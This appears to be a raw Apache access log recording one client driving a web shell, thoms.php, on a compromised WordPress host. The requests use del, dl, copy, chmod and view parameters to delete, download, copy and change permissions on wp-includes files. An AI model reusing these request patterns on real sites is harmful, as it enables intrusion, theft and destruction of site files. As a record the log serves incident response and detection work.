45.135.193.11 - - [11/Sep/2026:23:23:58 -0400] "GET /thoms.php?del=date.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59375 "http://163.245.207.76:443/thoms.php?del=date.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:59 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=meta.php HTTP/1.1" 200 26725 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=meta.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:59 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes%2Fimages HTTP/1.1" 200 17843 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes%2Fimages" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:59 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-avif-info.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11887 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-avif-info.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:59 -0400] "GET /big-wife.com.tw/wp-includes/theme.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:59 -0400] "GET /thoms.php?chmod=class-wp-block-supports.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11540 "http://163.245.207.76:443/thoms.php?chmod=class-wp-block-supports.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:59 -0400] "GET /thoms.php?chmod=ms-site.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11526 "http://163.245.207.76:443/thoms.php?chmod=ms-site.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:59 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fnav-menu-template.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11890 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fnav-menu-template.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:59 -0400] "GET /big-wife.com.tw/wp-includes/interactivity-api/ HTTP/1.1" 200 942 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:59 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fview-config.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11885 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fview-config.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:59 -0400] "GET /big-wife.com.tw/wp-includes HTTP/1.1" 301 795 "http://163.245.207.76:443/big-wife.com.tw/wp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:00 -0400] "GET /big-wife.com.tw/wp-includes/ HTTP/1.1" 200 9349 "https://163.245.207.76:443/big-wife.com.tw/wp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:00 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes%2Fstyle-engine HTTP/1.1" 200 13487 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes%2Fstyle-engine" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:00 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=capabilities.php HTTP/1.1" 200 21579 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=capabilities.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:59 -0400] "GET /thoms.php?dl=vars.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59383 "http://163.245.207.76:443/thoms.php?dl=vars.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:00 -0400] "GET /big-wife.com.tw/wp-includes/class-wp-block-processor.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:00 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-network.php HTTP/1.1" 200 16326 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-network.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:00 -0400] "GET /big-wife.com.tw/wp-includes/class-wp-block-template.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:00 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-exception.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11851 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-exception.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:00 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-term-query.php HTTP/1.1" 200 23463 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-term-query.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:00 -0400] "GET /thoms.php?dl=class-wpdb.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59383 "http://163.245.207.76:443/thoms.php?dl=class-wpdb.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:00 -0400] "GET /thoms.php?dl=feed.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59383 "http://163.245.207.76:443/thoms.php?dl=feed.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:00 -0400] "GET /thoms.php?chmod=global-styles-and-settings.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11540 "http://163.245.207.76:443/thoms.php?chmod=global-styles-and-settings.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:00 -0400] "GET /big-wife.com.tw/wp-includes/ms-default-constants.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:01 -0400] "GET /big-wife.com.tw/wp-includes/assets/ HTTP/1.1" 200 883 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:00 -0400] "GET /thoms.php?dl=embed.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59383 "http://163.245.207.76:443/thoms.php?dl=embed.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:01 -0400] "GET /thoms.php?chmod=version.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11524 "http://163.245.207.76:443/thoms.php?chmod=version.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:01 -0400] "GET /thoms.php?chmod=author-template.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11533 "http://163.245.207.76:443/thoms.php?chmod=author-template.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:01 -0400] "GET /thoms.php?chmod=class-wp-fatal-error-handler.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11544 "http://163.245.207.76:443/thoms.php?chmod=class-wp-fatal-error-handler.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:01 -0400] "GET /thoms.php?chmod=class-wp-icons-registry.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11541 "http://163.245.207.76:443/thoms.php?chmod=class-wp-icons-registry.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:01 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-image-editor-imagick.php HTTP/1.1" 200 26565 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-image-editor-imagick.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:01 -0400] "GET /thoms.php?del=class-walker-nav-menu.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59384 "http://163.245.207.76:443/thoms.php?del=class-walker-nav-menu.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:01 -0400] "GET /big-wife.com.tw/wp-includes/feed-atom.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:01 -0400] "GET /big-wife.com.tw/wp-includes/block-bindings.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:01 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fdefault-widgets.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11889 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fdefault-widgets.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:01 -0400] "GET /big-wife.com.tw/wp-includes/class-wp-recovery-mode.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:02 -0400] "GET /thoms.php?chmod=class-wp-post-type.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11522 "http://163.245.207.76:443/thoms.php?chmod=class-wp-post-type.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:02 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-phpmailer.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11883 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-phpmailer.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:02 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-script-modules.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11884 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-script-modules.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:02 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-theme.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11876 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-theme.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:02 -0400] "GET /thoms.php?dl=blocks.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59408 "http://163.245.207.76:443/thoms.php?dl=blocks.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:02 -0400] "GET /thoms.php?chmod=category.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11525 "http://163.245.207.76:443/thoms.php?chmod=category.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:02 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-icons-registry.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11894 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-icons-registry.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:02 -0400] "GET /thoms.php?dl=https-detection.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59383 "http://163.245.207.76:443/thoms.php?dl=https-detection.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:02 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-meta-query.php HTTP/1.1" 200 21032 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-meta-query.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:02 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-xmlrpc-server.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11886 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-xmlrpc-server.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:02 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fgeneral-template.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11890 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fgeneral-template.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:03 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=http.php HTTP/1.1" 200 19194 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=http.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:03 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fms-deprecated.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11878 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fms-deprecated.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:03 -0400] "GET /thoms.php?chmod=wp-db.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11509 "http://163.245.207.76:443/thoms.php?chmod=wp-db.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:03 -0400] "GET /thoms.php?chmod=class-wp-embed.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11536 "http://163.245.207.76:443/thoms.php?chmod=class-wp-embed.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:03 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-http-cookie.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11892 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-http-cookie.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:03 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-recovery-mode-email-service.php HTTP/1.1" 200 15861 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-recovery-mode-email-service.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:03 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-http-ixr-client.php HTTP/1.1" 200 13442 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-http-ixr-client.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:03 -0400] "GET /big-wife.com.tw/wp-includes/class-wp-theme.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:03 -0400] "GET /thoms.php?chmod=class-wp-scripts.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11535 "http://163.245.207.76:443/thoms.php?chmod=class-wp-scripts.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:03 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=default-constants.php HTTP/1.1" 200 15417 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=default-constants.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:03 -0400] "GET /thoms.php?chmod=interactivity-api&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11533 "http://163.245.207.76:443/thoms.php?chmod=interactivity-api&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:03 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=blocks.php HTTP/1.1" 200 44438 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=blocks.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:03 -0400] "GET /thoms.php?chmod=feed-rdf.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11513 "http://163.245.207.76:443/thoms.php?chmod=feed-rdf.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:03 -0400] "GET /thoms.php?dl=template-canvas.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59383 "http://163.245.207.76:443/thoms.php?dl=template-canvas.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:03 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=load.php HTTP/1.1" 200 30509 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=load.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:04 -0400] "GET /thoms.php?chmod=post-thumbnail-template.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11541 "http://163.245.207.76:443/thoms.php?chmod=post-thumbnail-template.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:04 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2FSimplePie&p= HTTP/1.1" 200 12309 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2FSimplePie&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:04 -0400] "GET /big-wife.com.tw/wp-includes/compat.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:04 -0400] "GET /thoms.php?del=style-engine.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59383 "http://163.245.207.76:443/thoms.php?del=style-engine.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:04 -0400] "GET /thoms.php?dl=class-wp-filter-sentinel.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59383 "http://163.245.207.76:443/thoms.php?dl=class-wp-filter-sentinel.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:04 -0400] "GET /big-wife.com.tw/wp-includes/spl-autoload-compat.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:04 -0400] "GET /thoms.php?del=compat-utf8.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59383 "http://163.245.207.76:443/thoms.php?del=compat-utf8.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:04 -0400] "GET /thoms.php?del=feed-rss2-comments.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59382 "http://163.245.207.76:443/thoms.php?del=feed-rss2-comments.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:05 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=template-canvas.php HTTP/1.1" 200 12254 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=template-canvas.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
